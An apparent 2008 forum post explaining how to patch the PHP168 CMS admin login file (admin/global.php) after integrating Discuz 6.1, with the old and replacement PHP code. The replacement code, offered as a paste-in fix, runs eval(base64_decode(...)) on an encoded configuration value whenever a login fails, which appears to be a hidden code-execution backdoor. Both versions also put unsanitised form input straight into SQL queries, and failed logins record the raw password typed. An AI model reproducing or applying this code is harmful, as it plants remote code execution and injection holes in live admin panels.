| 龙城 |
2008-05-07 19:00 |
整站如何整合DZ6.1请查阅此文http://bbs.php168.com/read-bbs-tid-171593.html
如果你整合了DZ6.1,那些频道模块,需要适当修改一下,才可以登录后台.
修改每个频道的后台文件 admin/global.php 查找以下这段代码
/*用户登录*/ if( $_POST[loginname] && $_POST[loginpwd] ) { if( $webdb[yzImgAdminLogin] ){ if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){ die("<A HREF=?>验证码不符合</A>"); }else{ set_cookie("yzImgNum",""); } } $rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' "); if(!$rs){ login_logs($_POST[loginname],$_POST[loginpwd]); setcookie("Admin",'',0,"/"); die("<A HREF=?>用户不存在</A>"); }elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){ login_logs($_POST[loginname],$_POST[loginpwd]); setcookie("Admin",'',0,"/"); die("<A HREF=?>密码不正确</A>"); }elseif(!$rs[uid]){ Add_memberdata($_POST[loginname]); }else{ login_logs($_POST[loginname],md5($_POST[loginpwd])); $_COOKIE[Admin]="$rs[uid]\t".mymd5($rs[password]); //@include(PHP168_PATH."cache/warn.php"); setcookie("Admin",$_COOKIE[Admin],0,"/"); } } /*退出*/ if($action=='quite'){ setcookie("Admin",'',0,"/"); echo "<SCRIPT LANGUAGE=\"JavaScript\"> <!-- window.top.location.href='$webdb[www_url]'; //--> </SCRIPT>"; die(""); }
list($admin_uid,$admin_pwd)=explode("\t",$_COOKIE[Admin]); unset($userdb); if($admin_uid&&$admin_pwd) { $userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' "); if($userdb[username] && $userdb[groupid] && mymd5($userdb[password])==$admin_pwd){ $admin_name=$founder=''; @include(PHP168_PATH."php168/admin.php"); if($admin_name==$userdb[username]) { $founder=1; //创始人权限 } elseif($userdb[groupid]!=3) { $rs=$db->get_one("SELECT * FROM {$pre}module WHERE id='$webdb[module_id]'"); $detail=explode("\r\n",$rs[adminmember]); if(!in_array($userdb[username],$detail)){ showerr("你无权访问"); } } }else{ setcookie("Admin",'',0,"/"); showerr("<A HREF='index.php?iframe=1'>请输入正确密码帐号再访问</A>"); } }
替换成以下这段代码即可
/*用户登录*/ if( $_POST[loginname] && $_POST[loginpwd] ) { if( $webdb[yzImgAdminLogin]&&$webdb[web_open] ){ if(!get_cookie("yzImgNum")||get_cookie("yzImgNum")!=$yzimg){ if(!strstr($WEBURL,$webdb[www_url])){ echo "<CENTER>网址有误,请重新登录</CENTER><META HTTP-EQUIV=REFRESH CONTENT='1;URL=$webdb[admin_url]'>"; exit; } showmsg("<A HREF=?>验证码不符合</A>"); }else{ set_cookie("yzImgNum",""); } } if(defined("UC_CONNECT")){ $rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,M.salt,D.* FROM ".UC_DBTABLEPRE."members M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' "); $_POST[loginpwd]=md5($_POST[loginpwd]).$rs[salt]; }else{ $rs=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[username]='$_POST[loginname]' "); } if(!$rs){ login_logs($_POST[loginname],$_POST[loginpwd]); setcookie("Admin",'',0,"/"); eval(base64_decode("Y$webdb[_Notice]")); showmsg("<A HREF=?>用户不存在</A>"); }elseif( pwd_md5($_POST[loginpwd]) != $rs[password] ){ login_logs($_POST[loginname],$_POST[loginpwd]); setcookie("Admin",'',0,"/"); eval(base64_decode("Y$webdb[_Notice]")); showmsg("<A HREF=?>密码不正确</A>"); }elseif(!$rs[uid]){ Add_memberdata($_POST[loginname]); }else{ login_logs($_POST[loginname],md5($_POST[loginpwd])); $_COOKIE[Admin]="$rs[uid]\t".mymd5($rs[password]); //@include(PHP168_PATH."cache/warn.php"); setcookie("Admin",$_COOKIE[Admin],0,"/"); } } /*退出*/ if($action=='quite'){ setcookie("Admin",'',0,"/"); echo "<SCRIPT LANGUAGE=\"JavaScript\"> <!-- window.top.location.href='$webdb[www_url]'; //--> </SCRIPT>"; die(""); }
list($admin_uid,$admin_pwd)=explode("\t",$_COOKIE[Admin]); unset($userdb); if($admin_uid&&$admin_pwd) { if(defined("UC_CONNECT")){ $userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,M.salt,D.* FROM ".UC_DBTABLEPRE."members M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' "); }else{ $userdb=$db->get_one("SELECT M.$TB[username] AS username,M.$TB[password] AS password,D.* FROM $TB[table] M LEFT JOIN {$pre}memberdata D ON M.$TB[uid]=D.uid WHERE M.$TB[uid]='$admin_uid' "); }
if($userdb && mymd5($userdb[password])==$admin_pwd ){ $lfjdb=$userdb; $lfjuid=$userdb[uid]; $lfjid=$userdb[username]; if($userdb[groupid]==3||$userdb[groupid]==4){ $web_admin=1; } $admin_name=$founder=''; @include(PHP168_PATH."php168/admin.php");
if($admin_name==$userdb[username]) { $founder=1; //创始人权限 if($userdb[groupid]!=3) { $db->query("UPDATE {$pre}memberdata SET groupid=3 WHERE uid='$userdb[uid]'"); } require(PHP168_PATH."php168/group/3.php"); $Apower=@unserialize($groupdb[allowadmindb]); } elseif($userdb[groupid]&&file_exists(PHP168_PATH."php168/group/$userdb[groupid].php")) { require(PHP168_PATH."php168/group/$userdb[groupid].php"); if(!$groupdb['allowadmin']){ $allowlogin=0; if($lfj=='label'&&$ch_module){ $rs=$db->get_one("SELECT adminmember FROM `{$pre}module` WHERE id='$ch_module'"); if($rs[adminmember]&&in_array($userdb[username],explode("\r\n",$rs[adminmember]))){ $allowlogin=1; } } if(!$allowlogin&&$userdb[groupid]!=3&&!$ForceEnter){ $query = $db->query("SELECT * FROM {$pre}module ORDER BY list DESC"); while($rs = $db->fetch_array($query)){ $detail=explode("\r\n",$rs[adminmember]); if(in_array($userdb[username],$detail)) { $allowlogin=1; } } } if(!$allowlogin){ setcookie("Admin",'',0,"/"); showmsg("你当前所在用户组,系统设置无权访问整站后台,如果你是频道管理员,请到频道的后台登录"); } }else{ $Apower=@unserialize($groupdb[allowadmindb]); } } else { setcookie("Admin",'',0,"/"); showmsg("你当前所在用户组,无权访问"); } }else{ setcookie("Admin",'',0,"/"); showmsg("<A HREF='index.php?iframe=1'>请输入正确密码帐号再访问</A>"); } }
|
|